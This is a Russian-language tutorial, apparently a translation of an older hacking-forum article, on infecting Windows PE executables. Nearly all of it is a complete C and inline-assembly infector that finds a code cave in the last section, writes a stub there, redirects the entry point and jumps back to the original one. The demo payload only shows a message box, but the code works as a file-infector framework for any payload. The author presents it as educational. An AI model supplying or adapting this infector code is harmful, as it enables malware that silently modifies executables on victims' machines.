tags: windows - malware
Детальный гайд по заражению PE
Заражение PE файлов - тема, которую я всегда считал сомнительной. Изучая ее, я всегда упускал некоторые части пазла… В этой статье я попытаюсь прояснить этот вопрос и надеюсь, что она станет хорошей отправной точкой для тех, кто хочет узнать, как работают PE инфекторы.
Хочу отметить, что я пишу эту статью с намерением обучить других. Вы можете начать свою деятельность с заражения PE файлов, но в конце концов я надеюсь, что вы перейдете к написанию средств защиты PE файлов и будете использовать полученные знания в позитивном и этическом ключе. Многому можно научиться в процессе разработки и внедрения таких инструментов.
В большинстве своем я буду использовать язык Си и встроенный язык ассемблера и подразумеваю, что вы имеете как минимум опыт использования Си/языка ассемблера.
Во-первых, что такое PE файл? Вы можете прочитать об этом по следующей ссылке:
Portable_Executable Во-вторых, что такое ‘заражение PE файлов’?
По моему мнению, заражение PE файлов - это просто метод добавления кода (вредоносного) в скомпилированный исполняемый файл, с сохранением прежней функциональности (это значит он должен работать так, как будто его не меняли).
Конечно, чтобы заразить PE файл мы должны знать его структуру. Существует множество документов описывающих ее. Я рекомендую вам взглянуть на следующие перед тем, как продолжите читать дальше:
PECOFF An In-Depth Look into the Win32 Portable Executable File Format, Part 1 An In-Depth Look into the Win32 Portable Executable File Format, Part 2 Типичная структура PE файла выглядит так:
[MZ Header]
[MZ Signature]
[PE Headers]
[PE Signature]
[IMAGE_FILE_HEADER] [IMAGE_OPTIONAL_HEADER]
[Section Table]
[Section 1] [Section 2] [Section n]
Я не указал заголовок DOS, но это не так критично. Я не ставлю тут цель рассказать о внутренностях PE формата.
Внутри IMAGE_OPTIONAL_HEADER у нас лежат указатели на различные каталоги данных. Эти каталоги обычно указывают, среди прочего, на таблицы Import и Relocation. Мы должны сохранить или перестроить эти каталоги сами, если хотим их уничтожить… Например, если вы шифруете секцию, которая содержит данные одной из директорий.
Основная идея заражения PE - в начале вставить наш код в свободное место, поменять оригинальную точку входа, чтобы она указывала на наш код, выполнить его, и затем прыгнуть на оригинальную точку входа, чтобы PE работал так, как будто и не существовало нашего кода.
Псевдокод этого алгоритма будет выглядеть так:
Открываем целевой файл Проверяем наличие сигнатур MZ и PE Ищем последовательность NULL байтов, от начала последней секции Пишем наш код в найденное свободное место Изменяем текущую точку входа на адрес нашего кода Закрываем целевой файл Хочу обратить внимание, что сам код, который мы вставляем - это самая сложная часть заражения PE, почему вы поймете дальше.
Теперь давайте начнем реализовывать наш псевдокод…
Нам надо открыть файл и смаппить его (это упростит модификацию). Я не буду объяснять, что делает каждый вызов API, в этом вам поможет MSDN.
Следующий кусок кода показывает, как это делается:
// PE Infecter by KOrUPt #include #include
#define bb(x) __asm _emit x
__declspec(naked) void StubStart() { __asm{ pushad // сохраняем контекст нашего потока call GetBasePointer GetBasePointer: pop ebp sub ebp, offset GetBasePointer // трюк для базонезависимости…
push MB_OK
lea eax, [ebp+szTitle]
push eax
lea eax, [ebp+szText]
push eax
push 0
mov eax, 0xCCCCCCCC
call eax
popad // восстанавливаем контекст нашего потока
push 0xCCCCCCCC // кладем на стек адрес оригинальной входной точки (здесь в примере - заглушка)
retn // retn используется, как jmp
szText:
bb('H') bb('e') bb('l') bb('l') bb('o') bb(' ') bb('W') bb('o') bb('r') bb('l') bb('d')
bb(' ') bb('f') bb('r') bb('o') bb('m') bb(' ') bb('K') bb('O') bb('r') bb('U') bb('P') bb('t') bb(0)
szTitle:
bb('O') bb('h') bb('a') bb('i') bb(0)
} } void StubEnd(){}
// By Napalm DWORD FileToVA(DWORD dwFileAddr, PIMAGE_NT_HEADERS pNtHeaders) { PIMAGE_SECTION_HEADER lpSecHdr = (PIMAGE_SECTION_HEADER)((DWORD)pNtHeaders + sizeof(IMAGE_NT_HEADERS)); for(WORD wSections = 0; wSections < pNtHeaders->FileHeader.NumberOfSections; wSections++){ if(dwFileAddr >= lpSecHdr->PointerToRawData){ if(dwFileAddr < (lpSecHdr->PointerToRawData + lpSecHdr->SizeOfRawData)){ dwFileAddr -= lpSecHdr->PointerToRawData; dwFileAddr += (pNtHeaders->OptionalHeader.ImageBase + lpSecHdr->VirtualAddress); return dwFileAddr; } }
lpSecHdr++;
}
return NULL; }
int main(int argc, char* argv[])
{
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_SECTION_HEADER pSection, pSectionHeader;
HANDLE hFile, hFileMap;
HMODULE hUser32;
LPBYTE hMap;
int i = 0, charcounter = 0;
DWORD oepRva = 0, oep = 0, fsize = 0, writeOffset = 0, oepOffset = 0, callOffset = 0;
unsigned char *stub;
// вычисляем размер кода/стаба
DWORD start = (DWORD)StubStart;
DWORD end = (DWORD)StubEnd;
DWORD stubLength = (end - start);
if(argc != 2){
printf("Usage: %s [file]\n", argv[0]);
return 0;
}
// мапим файл
hFile = CreateFile(argv[1], GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE){
printf("[-] Cannot open %s\n", argv[1]);
return 0;
}
fsize = GetFileSize(hFile, 0);
if(!fsize){
printf("[-] Could not get files size\n");
CloseHandle(hFile);
return 0;
}
hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL);
if(!hFileMap){
printf("[-] CreateFileMapping failed\n");
CloseHandle(hFile);
return 0;
}
hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize);
if(!hMap){
printf("[-] MapViewOfFile failed\n");
CloseHandle(hFileMap);
CloseHandle(hFile);
return 0;
}
// проверяем сигнатуры
pDosHeader = (PIMAGE_DOS_HEADER)hMap;
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE){
printf("[-] DOS signature not found\n");
goto cleanup;
}
pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew);
if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE){
printf("[-] NT signature not found\n");
goto cleanup;
}
// берем заголовок последней секции...
pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS));
pSection = pSectionHeader;
pSection += (pNtHeaders->FileHeader.NumberOfSections - 1);
// сохраняем точку входа
oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint;
oep += (pSectionHeader->PointerToRawData) - (pSectionHeader->VirtualAddress);
// определяем свободное место
i = pSection->PointerToRawData;
for(; i != fsize; i++){
if((char *)hMap[i] == 0x00){
if(charcounter++ == stubLength + 24){
printf("[+] Code cave located @ 0x%08lX\n", i);
writeOffset = i;
}
}else charcounter = 0;
}
if(charcounter == 0 || writeOffset == 0){
printf("[-] Could not locate a big enough code cave\n");
goto cleanup;
}
writeOffset -= stubLength;
stub = (unsigned char *)malloc(stubLength + 1);
if(!stub){
printf("[-] Error allocating sufficent memory for code\n");
goto cleanup;
}
// копируем код в буфер
memcpy(stub, StubStart, stubLength);
// определяем смещения до заглушек в коде
for(i = 0, charcounter = 0; i != stubLength; i++){
if(stub[i] == 0xCC){
charcounter++;
if(charcounter == 4 && callOffset == 0)
callOffset = i - 3;
else if(charcounter == 4 && oepOffset == 0)
oepOffset = i - 3;
}else charcounter = 0;
}
// проверяем их на валидность
if(oepOffset == 0 || callOffset == 0){
free(stub);
goto cleanup;
}
hUser32 = LoadLibrary("User32.dll");
if(!hUser32){
free(stub);
printf("[-] Could not load User32.dll");
goto cleanup;
}
// подменяем заглушки реальными значениями
*(u_long *)(stub + oepOffset) = (oepRva + pNtHeaders->OptionalHeader.ImageBase);
*(u_long *)(stub + callOffset) = ((DWORD)GetProcAddress(hUser32, "MessageBoxA"));
FreeLibrary(hUser32);
// записываем код
memcpy((PBYTE)hMap + writeOffset, stub, stubLength);
// устанавливаем точку входа
pNtHeaders->OptionalHeader.AddressOfEntryPoint =
FileToVA(writeOffset, pNtHeaders) - pNtHeaders->OptionalHeader.ImageBase;
// устанавливаем размер секции
pSection->Misc.VirtualSize += stubLength;
pSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
// очищаем
printf("[+] Stub written!!\n[*] Cleaning up\n");
free(stub);
cleanup:
FlushViewOfFile(hMap, 0);
UnmapViewOfFile(hMap);
SetFilePointer(hFile, fsize, NULL, FILE_BEGIN);
SetEndOfFile(hFile);
CloseHandle(hFileMap);
CloseHandle(hFile);
return 0; } Код выше объясняет всю суть способа… Надеюсь, вам понравилось читать. Я жду ваших комментариев и рецензий данной темы.
KOrUPt.
Вверх